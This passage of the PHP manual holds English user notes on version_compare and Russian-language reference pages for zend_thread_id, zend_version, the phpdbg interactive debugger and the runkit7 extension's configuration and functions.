        "eta"=>7,
        "theta"=>8,
        "iota"=>9,
        "kappa"=>10,
        "lambda"=>11,
        "mu"=>12,
        "nu"=>13,
        "xi"=>14,
        "omicron"=>15,
        "pi"=>16,
        "rho"=>17,
        "sigma"=>18,
        "tau"=>19,
        "upsilon"=>20,
        "phi"=>21,
        "chi"=>22,
        "psi"=>23,
        "omega"=>24,
    ];
    $ret=[];
    foreach($arr as $i){
        if(!isInteger($i)){
            if(!array_key_exists($i,$nonIntMappings)){
                break;
            }
            $ret[]=$nonIntMappings[$i];
        }
        $ret[]=$i;
    }
    return($ret);
}

function appVersionBigger($v1,$v2,$orEqual=false){
    $delimiters=".-+";
    $a1=keepIntsStartArray(multiExplode($delimiters,$v1));
    $a2=keepIntsStartArray(multiExplode($delimiters,$v2));
    $len=count($a1);
    if($len>count($a2)){
        $len=count($a2);
    }
    for($i=0;$i<$len;$i++){
        $n1=$a1[$i];
        $n2=$a2[$i];
        if($n1>$n2){
            return(true);
        }
        if($n1<$n2){
            return(false);
        }
    }
    if(count($a1)>count($a2)){
        return(true);
    }
    if(count($a1)<count($a2)){
        return(false);
    }
    return($orEqual);
}

// usage examples:

$versions=[
    "1.2.3-45"=>"1.2.3-45",
    "1.2.3-44"=>"1.2.3-45",
    "1.2.3-46"=>"1.2.3-45",
    "1.2.3"=>"1.2.3-45",
    "1.2.4"=>"1.2.3-45",
    "1.2.2"=>"1.2.3-45",
    "1.2"=>"1.2.3-45",
    "1.3"=>"1.2.3-45",
    "1.2.3-ios"=>"1.2.3-and",
    "1.2-ios"=>"1.2.3-and",
    "2-ios"=>"1.2.3-and",
    "1.2.3-alpha"=>"1.2.3-beta",
    "1.2.3-beta"=>"1.2.3-alpha",
    "1-gamma"=>"1.2.3-beta",
    "1-alpha"=>"1.2.3-beta",
];

foreach($versions as $v1=>$v2){
    echo("v1: ".$v1."\tv2: ".$v2."\tgt: ".(appVersionBigger($v1,$v2,false)?"true":"false")."\tge: ".(appVersionBigger($v1,$v2,true)?"true":"false")."\n");
}

// output with php version 8.1.8:
/*
v1: 1.2.3-45    v2: 1.2.3-45    gt: false    ge: true
v1: 1.2.3-44    v2: 1.2.3-45    gt: false    ge: false
v1: 1.2.3-46    v2: 1.2.3-45    gt: true    ge: true
v1: 1.2.3    v2: 1.2.3-45    gt: false    ge: false
v1: 1.2.4    v2: 1.2.3-45    gt: true    ge: true
v1: 1.2.2    v2: 1.2.3-45    gt: false    ge: false
v1: 1.2    v2: 1.2.3-45    gt: false    ge: false
v1: 1.3    v2: 1.2.3-45    gt: true    ge: true
v1: 1.2.3-ios    v2: 1.2.3-and    gt: false    ge: true
v1: 1.2-ios    v2: 1.2.3-and    gt: false    ge: false
v1: 2-ios    v2: 1.2.3-and    gt: true    ge: true
v1: 1.2.3-alpha    v2: 1.2.3-beta    gt: false    ge: false
v1: 1.2.3-beta    v2: 1.2.3-alpha    gt: true    ge: true
v1: 1-gamma    v2: 1.2.3-beta    gt: true    ge: true
v1: 1-alpha    v2: 1.2.3-beta    gt: false    ge: false
*/
Bob Ray 29-Oct-2015 11:07
Note that both leading and trailing spaces on your version numbers can break version_compare().

Tested on PHP 5.6.8:
 <?php
 echo  "\nShould be 0";
echo "\n '1.0.0-pl' vs. '1.0.0-pl'  ---> " . version_compare('1.0.0-pl', '1.0.0-pl');
echo "\n '1.0.0-pl' vs. ' 1.0.0-pl' ---> " . version_compare('1.0.0-pl', ' 1.0.0-pl');
echo "\n ' 1.0.0-pl' vs. '1.0.0-pl' ---> " . version_compare(' 1.0.0-pl', '1.0.0-pl');
echo "\n '1.0.0-pl' vs. '1.0.0-pl ' ---> " . version_compare('1.0.0-pl', '1.0.0-pl ');
echo "\n '1.0.0-pl ' vs. '1.0.0-pl' ---> " . version_compare('1.0.0-pl ', '1.0.0-pl');

echo "\n\nShould be 1";
echo "\n '1.1.1-pl' vs. '1.0.0-pl'  ---> " . version_compare('1.1.1-pl', '1.0.0-pl');
echo "\n ' 1.1.1-pl' vs. '1.0.0-pl' ---> " . version_compare(' 1.1.1-pl', '1.0.0-pl');

echo "\n\nShould be -1";
echo "\n '1.0.0-pl' vs. '1.1.1-pl'  ---> " . version_compare('1.0.0-pl', '1.1.1-pl');
echo "\n '1.0.0-pl' vs. ' 1.1.1-pl' ---> " . version_compare('1.0.0-pl', ' 1.1.1-pl');

    /* Output
Should be 0
 '1.0.0-pl' vs. '1.0.0-pl'  ---> 0
 '1.0.0-pl' vs. ' 1.0.0-pl' ---> 1
 ' 1.0.0-pl' vs. '1.0.0-pl' ---> -1
 '1.0.0-pl' vs. '1.0.0-pl ' ---> 1
 '1.0.0-pl ' vs. '1.0.0-pl' ---> -1

Should be 1
 '1.1.1-pl' vs. '1.0.0-pl'  ---> 1
 ' 1.1.1-pl' vs. '1.0.0-pl' ---> -1

Should be -1
 '1.0.0-pl' vs. '1.1.1-pl'  ---> -1
 '1.0.0-pl' vs. ' 1.1.1-pl' ---> 1
    */
mindplay.dk 21-Jul-2012 03:10
This little script can perhaps help you understand version comparison a little better - the output is displayed in the comment at the top. Tweak the list of versions if you need more examples...

<?php

#      1 lt 1.0
#    1.0 lt 1.01
#   1.01 eq 1.1
#    1.1 lt 1.10
#   1.10 gt 1.10b
#  1.10b lt 1.10.0

header('Content-type: text/plain');

$versions = array(
  '1',
  '1.0',
  '1.01',
  '1.1',
  '1.10',
  '1.10b',
  '1.10.0',
);

$comps = array(
 -1 => 'lt',
  0 => 'eq',
  1 => 'gt'
);

foreach ($versions as $version) {
  if (isset($last)) {
    $comp = version_compare($last, $version);
    echo str_pad($last,8,' ',STR_PAD_LEFT) . " {$comps[$comp]} {$version}\n";
  }
  $last = $version;
}

?>
rogier 30-Nov-2011 08:43
Please note that supplying an operator that is not listed (e.g. ===), this function returns NULL instead of false.

Tested on PHP5.3.0, Win32
insid0r at yahoo dot com 06-Mar-2009 01:05
Since this function considers 1 < 1.0 < 1.0.0, others might find this function useful (which considers 1 == 1.0):

<?php
//Compare two sets of versions, where major/minor/etc. releases are separated by dots.
//Returns 0 if both are equal, 1 if A > B, and -1 if B < A.
function version_compare2($a, $b)
{
    $a = explode(".", rtrim($a, ".0")); //Split version into pieces and remove trailing .0
    $b = explode(".", rtrim($b, ".0")); //Split version into pieces and remove trailing .0
    foreach ($a as $depth => $aVal)
    { //Iterate over each piece of A
        if (isset($b[$depth]))
        { //If B matches A to this depth, compare the values
            if ($aVal > $b[$depth]) return 1; //Return A > B
            else if ($aVal < $b[$depth]) return -1; //Return B > A
            //An equal result is inconclusive at this point
        }
        else
        { //If B does not match A to this depth, then A comes after B in sort order
            return 1; //so return A > B
        }
    }
    //At this point, we know that to the depth that A and B extend to, they are equivalent.
    //Either the loop ended because A is shorter than B, or both are equal.
    return (count($a) < count($b)) ? -1 : 0;
}
?>
opendb at iamvegan dot net 10-Jun-2007 05:01
Something that may trip some folks up, but is useful to mention is that the following version comparison does not work quite as I expected:
    version_compare('1.0.1', '1.0pl1', '>')

However, its quite easy to get working:
    version_compare('1.0.1', '1.0.0pl1', '>')
arnoud at procurios dot nl 29-Sep-2004 02:28
If you're careful, this function actualy works quite nicely for comparing version numbers from programs other than PHP itself. I've used it to compare MySQL version numbers. The only issue is that version_compare doesn't recognize the 'gamma' addition that mysql uses as being later than 'alpha' or 'beta', because the latter two are treated specially. If you keep this in mind though, you should have no problems.
eric at themepark dot com 21-Jun-2004 09:50
[editors note]
snipbit fixed after comment from Matt Mullenweg

--jm
[/editors note]

so in a nutshell... I believe it works best like this:

<?php
if (version_compare(phpversion(), "4.3.0", ">=")) {
  // you're on 4.3.0 or later
} else {
  // you're not
}
?>
sam at wyvern dot non-spammers-remove dot com dot au 23-May-2004 11:18
Actually, it works to any degree:

<?php
version_compare('1.2.3.4RC7.7', '1.2.3.4RC7.8')
version_compare('8.2.50.4', '8.2.52.6')
?>

will both give -1 (ie the left is lower than the right).


Возвращает уникальный идентификатор текущего потока выполнения

  • « version_compare
  • zend_version »
  • PHP Manual
  • Опции PHP/информационные функции
  • Возвращает уникальный идентификатор текущего потока выполнения

zend_thread_id

(PHP 5, PHP 7, PHP 8)

zend_thread_id — Возвращает уникальный идентификатор текущего потока выполнения

Описание

zend_thread_id(): int

Эта функция возвращает уникальный идентификатор текущего потока выполнения.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает идентификатор потока выполнения в виде целого числа.

Примеры

Пример #1 Пример использования zend_thread_id()

<?php
$thread_id = zend_thread_id();

echo 'Идентификатор текущего потока выполнения: ' . $thread_id;
?>

Результатом выполнения данного примера будет что-то подобное:

Идентификатор текущего потока выполнения: 7864

Примечания

Замечание:

Эта функция доступна, только если PHP собран с поддержкой ZTS (Zend Thread Safety) и работает в режиме отладки (--enable-debug).

User Contributed Notes

There are no user contributed notes for this page.


Получает версию движка Zend

  • « zend_thread_id
  • phpdbg »
  • PHP Manual
  • Опции PHP/информационные функции
  • Получает версию движка Zend

zend_version

(PHP 4, PHP 5, PHP 7, PHP 8)

zend_version — Получает версию движка Zend

Описание

zend_version(): string

Возвращает строку с номером версии работающего в данный момент ядра Zend Engine.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает номер версии Zend Engine в виде строки.

Примеры

Пример #1 Пример использования zend_version()

<?php
echo "Версия движка Zend: " . zend_version();
?>

Результатом выполнения данного примера будет что-то подобное:

Версия движка Zend: 2.2.0

Смотрите также

  • phpinfo() - Выводит информацию о текущей конфигурации PHP
  • phpcredits() - Выводит список разработчиков PHP
  • phpversion() - Получает текущую версию PHP

User Contributed Notes

There are no user contributed notes for this page.


Интерактивный отладчик PHP

  • Введение
  • Установка и настройка
    • Настройка во время выполнения
  • Предопределённые константы
  • Функции phpdbg
    • phpdbg_break_file — Добавить точку прерывания на конкретную строку файла
    • phpdbg_break_function — Добавить точку прерывания на вызов функции
    • phpdbg_break_method — Добавить точку прерывания на вызов метода класса
    • phpdbg_break_next — Добавить точку прерывания на следующий опкод
    • phpdbg_clear — Убрать все точки прерывания
    • phpdbg_color — Задать цвет для элемента
    • phpdbg_end_oplog — Описание
    • phpdbg_exec — Попытаться задать контекст исполнения
    • phpdbg_get_executable — Описание
    • phpdbg_prompt — Установить приглашение командной строки
    • phpdbg_start_oplog — Описание

User Contributed Notes

There are no user contributed notes for this page.


Введение

Поскольку phpdbg реализован в виде модуля SAPI, то он может полностью контролировать окружение без воздействия на функциональность и скорость выполнения вашего кода.

Phpdbg претендует на то, чтобы считаться легковесным, мощным и простым в использовании отладчиком для PHP. Он предоставляет следующие возможности:

  • Пошаговая отладка
  • Гибкие точки прерывания (метод класса, функция, строка файла, адрес, опкод)
  • Лёгкий доступ к PHP с помощью встроенной функции eval()
  • Пользовательское API
  • Независимость от SAPI - легко интегрируется
  • Поддержка конфигурационных файлов PHP
  • Определение собственных суперглобальных переменных JIT
  • Опциональная поддержка ввода с клавиатуры - удобная работа через терминал
  • Лёгок в использовании - читайте документацию :)

Опции командной строки
Опция | Пример аргумента | Описание
-c | -c/my/php.ini | Указывает php.ini, который надо загрузить
-d | -dmemory_limit=4G | Установка соответствующей директивы php.ini
-n |  | Запрет использования стандартного php.ini
-q |  | Не показывать приветственный баннер
-v |  | Разрешить вывод oplog
-b |  | Запретить использование цветов
-i | -imy.init | Задать файл .phpdbginit
-I |  | Игнорировать стандартный .phpdbginit
-O | -Omy.oplog | Задать файл для записи oplog
-r |  | Запустить контекст исполнения
-rr |  | Запустить контекст исполнения и выйти после запуска (не обращать внимание на точки останова)
-e |  | Генерировать расширенную информацию для отладчика/профилировщика
-E |  | Разрешить пошаговый eval. Будьте осторожны!
-s | -s=, -s=foo | Прочитать код для исполнения из стандартного потока ввода с опциональным разделителем
-S | -Scli | Переопределить имя SAPI. Будьте осторожны!
-l | -l4000 | Задать порт удалённой консоли
-a | -a192.168.0.3 | Задать адрес удалённой консоли
-x |  | Включить вывод в формате xml (вместо стандартного текстового)
-p | -p, -p=func, -p* | Вывести опкоды и выйти
-h |  | Вывести справочный раздел
-V |  | Напечатать номер версии
-- | -- arg1 arg2 | Используется для разделения аргументов phpdbg и php $argv; любые $argv добавляйте после него

User Contributed Notes

There are no user contributed notes for this page.


Установка и настройка

Содержание

  • Настройка во время выполнения

User Contributed Notes

There are no user contributed notes for this page.


Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

phpdbg Опции настройки
Имя | По умолчанию | Место изменения | Список изменений
phpdbg.eol | 2 | PHP_INI_ALL | Удалено, начиная с PHP 8.1.0
phpdbg.path |  | 6 | Удалено, начиная с PHP 8.1.0

Краткое разъяснение конфигурационных директив.

phpdbg.eol mixed

Тип окончания строки, используемый для вывода. Для установки значения необходимо использовать один из псевдонимов строк.

int Значение | string Псевдоним
0 | CRLF, crlf, DOS, dos
1 | LF, lf, UNIX, unix
2 | CR, cr, MAC, mac

phpdbg.path string

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

PHPDBG_VERSION (string)
PHPDBG_FILE (int)
Удалено в PHP 7.3.0.
PHPDBG_METHOD (int)
Удалено в PHP 7.3.0.
PHPDBG_LINENO (int)
Удалено в PHP 7.3.0.
PHPDBG_FUNC (int)
Удалено в PHP 7.3.0.
PHPDBG_COLOR_PROMPT (int)
PHPDBG_COLOR_NOTICE (int)
PHPDBG_COLOR_ERROR (int)

User Contributed Notes

There are no user contributed notes for this page.


Функции phpdbg

Содержание

  • phpdbg_break_file — Добавить точку прерывания на конкретную строку файла
  • phpdbg_break_function — Добавить точку прерывания на вызов функции
  • phpdbg_break_method — Добавить точку прерывания на вызов метода класса
  • phpdbg_break_next — Добавить точку прерывания на следующий опкод
  • phpdbg_clear — Убрать все точки прерывания
  • phpdbg_color — Задать цвет для элемента
  • phpdbg_end_oplog — Описание
  • phpdbg_exec — Попытаться задать контекст исполнения
  • phpdbg_get_executable — Описание
  • phpdbg_prompt — Установить приглашение командной строки
  • phpdbg_start_oplog — Описание

User Contributed Notes

There are no user contributed notes for this page.


Добавить точку прерывания на конкретную строку файла

  • « Функции phpdbg
  • phpdbg_break_function »
  • PHP Manual
  • Функции phpdbg
  • Добавить точку прерывания на конкретную строку файла

phpdbg_break_file

(PHP 5 >= 5.6.3, PHP 7, PHP 8)

phpdbg_break_file — Добавить точку прерывания на конкретную строку файла

Описание

phpdbg_break_file(string $file, int $line): void

Добавляет точку прерывания на строку line файла file.

Список параметров

file

Имя файла.

line

Номер строки.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • phpdbg_break_function() - Добавить точку прерывания на вызов функции
  • phpdbg_break_method() - Добавить точку прерывания на вызов метода класса
  • phpdbg_break_next() - Добавить точку прерывания на следующий опкод
  • phpdbg_clear() - Убрать все точки прерывания

User Contributed Notes

Jeff B. Carter 23-Dec-2022 03:34
Here is an example of how to programmatically add a breakpoint based on a condition:

<?php
$blah = 'meh';
if ($blah !== 'blah') {
    phpdbg_break_file('blah.php', 6);
}
$blah = 'blah';
echo $blah;
?>

OUTPUT when running the debugger (using ev to evaluate the value of $blah after each step):

C:\path\to\dir>phpdbg -e blah.php
[Welcome to phpdbg, the interactive PHP debugger, v8.1.6]
To get help using phpdbg type "help" and press enter
[Please report bugs to <http://bugs.php.net/report.php>]
[Successful compilation of C:\path\to\dir\blah.php]
prompt> run
[Breakpoint #0 added at C:\path\to\dir\blah.php:6]
[Breakpoint #0 at C:\path\to\dir\blah.php:6, hits: 1]
>00006: $blah = 'blah';
 00007: echo $blah;
 00008: ?>
prompt> ev $blah
meh
prompt> step
>00007: echo $blah;
 00008: ?>
prompt> ev $blah
blah
prompt> step
blah>00008: ?>
prompt> step
[Script ended normally]


Добавить точку прерывания на вызов функции

  • « phpdbg_break_file
  • phpdbg_break_method »
  • PHP Manual
  • Функции phpdbg
  • Добавить точку прерывания на вызов функции

phpdbg_break_function

(PHP 5 >= 5.6.3, PHP 7, PHP 8)

phpdbg_break_function — Добавить точку прерывания на вызов функции

Описание

phpdbg_break_function(string $function): void

Добавляет точку прерывания на вызов функции function.

Список параметров

function

Имя функции.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • phpdbg_break_file() - Добавить точку прерывания на конкретную строку файла
  • phpdbg_break_method() - Добавить точку прерывания на вызов метода класса
  • phpdbg_break_next() - Добавить точку прерывания на следующий опкод
  • phpdbg_clear() - Убрать все точки прерывания

User Contributed Notes

There are no user contributed notes for this page.


Добавить точку прерывания на вызов метода класса

  • « phpdbg_break_function
  • phpdbg_break_next »
  • PHP Manual
  • Функции phpdbg
  • Добавить точку прерывания на вызов метода класса

phpdbg_break_method

(PHP 5 >= 5.6.3, PHP 7, PHP 8)

phpdbg_break_method — Добавить точку прерывания на вызов метода класса

Описание

phpdbg_break_method(string $class, string $method): void

Добавляет точку прерывания на вызов метода method класса class.

Список параметров

class

Имя класса.

method

Имя метода.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • phpdbg_break_file() - Добавить точку прерывания на конкретную строку файла
  • phpdbg_break_function() - Добавить точку прерывания на вызов функции
  • phpdbg_break_next() - Добавить точку прерывания на следующий опкод
  • phpdbg_clear() - Убрать все точки прерывания

User Contributed Notes

There are no user contributed notes for this page.


Добавить точку прерывания на следующий опкод

  • « phpdbg_break_method
  • phpdbg_clear »
  • PHP Manual
  • Функции phpdbg
  • Добавить точку прерывания на следующий опкод

phpdbg_break_next

(PHP 5 >= 5.6.3, PHP 7, PHP 8)

phpdbg_break_next — Добавить точку прерывания на следующий опкод

Описание

phpdbg_break_next(): void

Добавляет точку прерывания на следующий опкод.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • phpdbg_break_file() - Добавить точку прерывания на конкретную строку файла
  • phpdbg_break_function() - Добавить точку прерывания на вызов функции
  • phpdbg_break_method() - Добавить точку прерывания на вызов метода класса
  • phpdbg_clear() - Убрать все точки прерывания

User Contributed Notes

There are no user contributed notes for this page.


Убрать все точки прерывания

  • « phpdbg_break_next
  • phpdbg_color »
  • PHP Manual
  • Функции phpdbg
  • Убрать все точки прерывания

phpdbg_clear

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

phpdbg_clear — Убрать все точки прерывания

Описание

phpdbg_clear(): void

Удаляет все заданные ранее точки прерывания. Работает как для заданных с помощью функций phpdbg_break_*(), так и для добавленных вручную через консоль.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • phpdbg_break_file() - Добавить точку прерывания на конкретную строку файла
  • phpdbg_break_function() - Добавить точку прерывания на вызов функции
  • phpdbg_break_method() - Добавить точку прерывания на вызов метода класса
  • phpdbg_break_next() - Добавить точку прерывания на следующий опкод

User Contributed Notes

There are no user contributed notes for this page.


Задать цвет для элемента

  • « phpdbg_clear
  • phpdbg_end_oplog »
  • PHP Manual
  • Функции phpdbg
  • Задать цвет для элемента

phpdbg_color

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

phpdbg_color — Задать цвет для элемента

Описание

phpdbg_color(int $element, string $color): void

Устанавливает цвет color для элемента element.

Список параметров

element

Одна из констант PHPDBG_COLOR_*.

color

Имя цвета. Одно из: white, red, green, yellow, blue, purple, cyan или black. Опционально можно использовать суффиксы -bold или -underline. К примеру white-bold или green-underline.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • phpdbg_prompt() - Установить приглашение командной строки

User Contributed Notes

There are no user contributed notes for this page.


Описание

  • « phpdbg_color
  • phpdbg_exec »
  • PHP Manual
  • Функции phpdbg
  • Описание

phpdbg_end_oplog

(PHP 7, PHP 8)

phpdbg_end_oplog —

Описание

phpdbg_end_oplog(array $options = []): ?array

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

options

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Попытаться задать контекст исполнения

  • « phpdbg_end_oplog
  • phpdbg_get_executable »
  • PHP Manual
  • Функции phpdbg
  • Попытаться задать контекст исполнения

phpdbg_exec

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

phpdbg_exec — Попытаться задать контекст исполнения

Описание

phpdbg_exec(string $context): string|bool

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

context

Возвращаемые значения

Предыдущий контекст исполнения, если он был задан. true, если контекст исполнения ранее не был задан. Если запрос на установку контекста завершится с ошибкой, то будет возвращено false и вызвана ошибка уровня E_WARNING.

User Contributed Notes

There are no user contributed notes for this page.


Описание

  • « phpdbg_exec
  • phpdbg_prompt »
  • PHP Manual
  • Функции phpdbg
  • Описание

phpdbg_get_executable

(PHP 7, PHP 8)

phpdbg_get_executable —

Описание

phpdbg_get_executable(array $options = []): array

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

options

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Установить приглашение командной строки

  • « phpdbg_get_executable
  • phpdbg_start_oplog »
  • PHP Manual
  • Функции phpdbg
  • Установить приглашение командной строки

phpdbg_prompt

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

phpdbg_prompt — Установить приглашение командной строки

Описание

phpdbg_prompt(string $string): void

Устанавливает приглашение командной строки как задано в string.

Список параметров

string

Строка, которая будет использована как приглашение.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • phpdbg_color() - Задать цвет для элемента

User Contributed Notes

There are no user contributed notes for this page.


Описание

  • « phpdbg_prompt
  • runkit7 »
  • PHP Manual
  • Функции phpdbg
  • Описание

phpdbg_start_oplog

(PHP 7, PHP 8)

phpdbg_start_oplog —

Описание

phpdbg_start_oplog(): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


runkit7

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Функции runkit7
    • runkit7_constant_add — Аналогичен define(), но также позволяет определить константу класса
    • runkit7_constant_redefine — Переопределяет уже определённую константу
    • runkit7_constant_remove — Удаляет уже определённую константу
    • runkit7_function_add — Добавляет новую функцию, функция аналогична create_function
    • runkit7_function_copy — Копирует функцию в новое имя функции
    • runkit7_function_redefine — Заменяет определение функции новой реализацией
    • runkit7_function_remove — Удаляет определение функции
    • runkit7_function_rename — Изменяет имя функции
    • runkit7_import — Обрабатывает функцию импорта файла PHP и определения классов, при необходимости перезаписывая
    • runkit7_method_add — Динамически добавляет новый метод в заданный класс
    • runkit7_method_copy — Копирует метод из одного класса в другой
    • runkit7_method_redefine — Динамически изменяет код заданного метода
    • runkit7_method_remove — Динамически удаляет заданный метод
    • runkit7_method_rename — Динамически изменяет имя заданного метода
    • runkit7_object_id — Возвращает дескриптор целочисленного объекта для данного объекта
    • runkit7_superglobals — Возвращает числовой индексированный массив зарегистрированных суперглобальных переменных
    • runkit7_zval_inspect — Возвращает информацию о переданном значении с типами данных, количеством ссылок и так далее

User Contributed Notes

There are no user contributed notes for this page.


Введение

Модуль runkit7 предоставляет средства для изменения констант, пользовательских функций и пользовательских классов. Также предусмотрены пользовательские суперглобальные переменные.

Этот пакет является форком пакета » runkit, обеспечивающего поддержку PHP 7.

User Contributed Notes

There are no user contributed notes for this page.


Требования

Изменение констант, функций, классов и методов так же как и Пользовательские суперглобальные переменные работает со всеми выпусками PHP 7. Никаких особых требований не требуется.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Этот модуль » PECL не поставляется вместе с PHP.

Информация по установке этого модуля PECL может быть найдена в главе руководства Установка PECL модулей. Дополнительная информация, такая как новые версии, скачивание, исходные файлы, информация о разработчике и CHANGELOG, может быть найдена здесь: » https://pecl.php.net/package/runkit7.

Бинарные файлы Windows (файлы DLL) для этого модуля PECL доступны на сайте PECL.

User Contributed Notes

There are no user contributed notes for this page.


Настройка во время выполнения

Поведение этих функций зависит от установок в php.ini.

Параметры конфигурации Runkit
Имя | По умолчанию | Место изменения | Список изменений
runkit.superglobal | "" | PHP_INI_PERDIR |
runkit.internal_override | "0" | PHP_INI_SYSTEM |
Для подробного описания констант PHP_INI_*, обратитесь к разделу Где могут быть установлены параметры конфигурации.

Краткое разъяснение конфигурационных директив.

runkit.superglobal string
Разделённый запятыми список имён переменных, которые будут рассматриваться как суперглобальные. Это значение должно быть установлено в общесистемном файле php.ini, но может работать в контекстах конфигурации perdir в зависимости от вашего SAPI.

Пример #1 Пользовательские суперглобальные файлы с runkit.superglobal=_FOO,_BAR в php.ini

<?php
function show_values() {
echo "Foo is $_FOO\n";
echo "Bar is $_BAR\n";
echo "Baz is $_BAZ\n";
}

$_FOO = 'foo';
$_BAR = 'bar';
$_BAZ = 'baz';

/* Отобразит foo и bar, но не baz */
show_values();
?>
runkit.internal_override bool
Позволяет изменять/переименовывать/удалять внутренние функции.

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

RUNKIT7_IMPORT_FUNCTIONS (int)
runkit7_import() флаг, указывающий, что нормальные функции должны быть импортированы из указанного файла.
RUNKIT7_IMPORT_CLASS_METHODS (int)
runkit7_import() флаг, указывающий, что методы класса должны быть импортированы из указанного файла.
RUNKIT7_IMPORT_CLASS_CONSTS (int)
runkit7_import() флаг, указывающий, что константы класса должны быть импортированы из указанного файла.
RUNKIT7_IMPORT_CLASS_PROPS (int)
runkit7_import() флаг, указывающий, что стандартные свойства класса должны быть импортированы из указанного файла.
RUNKIT7_IMPORT_CLASS_STATIC_PROPS (int)
runkit7_import() флаг, указывающий, что статические свойства класса должны быть импортированы из указанного файла. Доступно с Runkit 1.0.1.
RUNKIT7_IMPORT_CLASSES (int)
runkit7_import() флаг, представляющий побитовое значение ИЛИ константы RUNKIT7_IMPORT_CLASS_*.
RUNKIT7_IMPORT_OVERRIDE (int)
runkit7_import() флаг, указывающий, что если какие-либо импортированные функции, методы, константы или свойства уже существуют, они должны быть заменены новыми определениями. Если этот флаг не установлен, то любые импортированные определения, которые уже существуют, будут отброшены.
RUNKIT7_ACC_RETURN_REFERENCE (int)
Включите этот флаг, чтобы создаваемая или повторно объявленная функция или метод возвращали ссылку.
RUNKIT7_ACC_PUBLIC (int)
Флаг для runkit7_method_add() и runkit7_method_redefine(), чтобы сделать метод публичным.
RUNKIT7_ACC_PROTECTED (int)
Флаг для runkit7_method_add() and runkit7_method_redefine(), чтобы сделать метод защищённым.
RUNKIT7_ACC_PRIVATE (int)
Флаг для runkit7_method_add() and runkit7_method_redefine(), чтобы сделать метод приватным.
RUNKIT7_ACC_STATIC (int)
Флаг для runkit7_method_add() and runkit7_method_redefine(), чтобы сделать метод статичным.
RUNKIT7_FEATURE_MANIPULATION (int)
Равен 1, если включена манипуляция во время выполнения и 0 в противном случае.
RUNKIT7_FEATURE_SUPERGLOBALS (int)
Равен 1, если пользовательские суперглобальные переменные включены и 0 в противном случае.
RUNKIT7_FEATURE_SANDBOX (int)
Всегда 0, нереально реализовать функцию песочницы в php 7.

User Contributed Notes

There are no user contributed notes for this page.


Функции runkit7

Содержание

  • runkit7_constant_add — Аналогичен define(), но также позволяет определить константу класса
  • runkit7_constant_redefine — Переопределяет уже определённую константу
  • runkit7_constant_remove — Удаляет уже определённую константу
  • runkit7_function_add — Добавляет новую функцию, функция аналогична create_function
  • runkit7_function_copy — Копирует функцию в новое имя функции
  • runkit7_function_redefine — Заменяет определение функции новой реализацией
  • runkit7_function_remove — Удаляет определение функции
  • runkit7_function_rename — Изменяет имя функции
  • runkit7_import — Обрабатывает функцию импорта файла PHP и определения классов, при необходимости перезаписывая
  • runkit7_method_add — Динамически добавляет новый метод в заданный класс
  • runkit7_method_copy — Копирует метод из одного класса в другой
  • runkit7_method_redefine — Динамически изменяет код заданного метода
  • runkit7_method_remove — Динамически удаляет заданный метод
  • runkit7_method_rename — Динамически изменяет имя заданного метода
  • runkit7_object_id — Возвращает дескриптор целочисленного объекта для данного объекта
  • runkit7_superglobals — Возвращает числовой индексированный массив зарегистрированных суперглобальных переменных
  • runkit7_zval_inspect — Возвращает информацию о переданном значении с типами данных, количеством ссылок и так далее

User Contributed Notes

There are no user contributed notes for this page.


Аналогичен define(), но также позволяет определить константу класса

  • « Функции runkit7
  • runkit7_constant_redefine »
  • PHP Manual
  • Функции runkit7
  • Аналогичен define(), но также позволяет определить константу класса

runkit7_constant_add

(PECL runkit7 >= Unknown)

runkit7_constant_add — Аналогичен define(), но также позволяет определить константу класса

Описание

runkit7_constant_add(string $constant_name, mixed $value, int $newVisibility = ?): bool

Список параметров

constant_name

Имя объявляемой константы. Либо строка для обозначения глобальной константы, либо classname::constname для определения константы класса.

value

Значение константы (NULL, Bool, Long, Double, String, Array или Resource).

newVisibility

Видимость константы для констант класса. По умолчанию общедоступный. Одна из констант RUNKIT7_ACC_*.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • define() - Определяет именованную константу
  • runkit7_constant_redefine() - Переопределяет уже определённую константу
  • runkit7_constant_remove() - Удаляет уже определённую константу

User Contributed Notes

There are no user contributed notes for this page.


Переопределяет уже определённую константу

  • « runkit7_constant_add
  • runkit7_constant_remove »
  • PHP Manual
  • Функции runkit7
  • Переопределяет уже определённую константу

runkit7_constant_redefine

(PECL runkit7 >= Unknown)

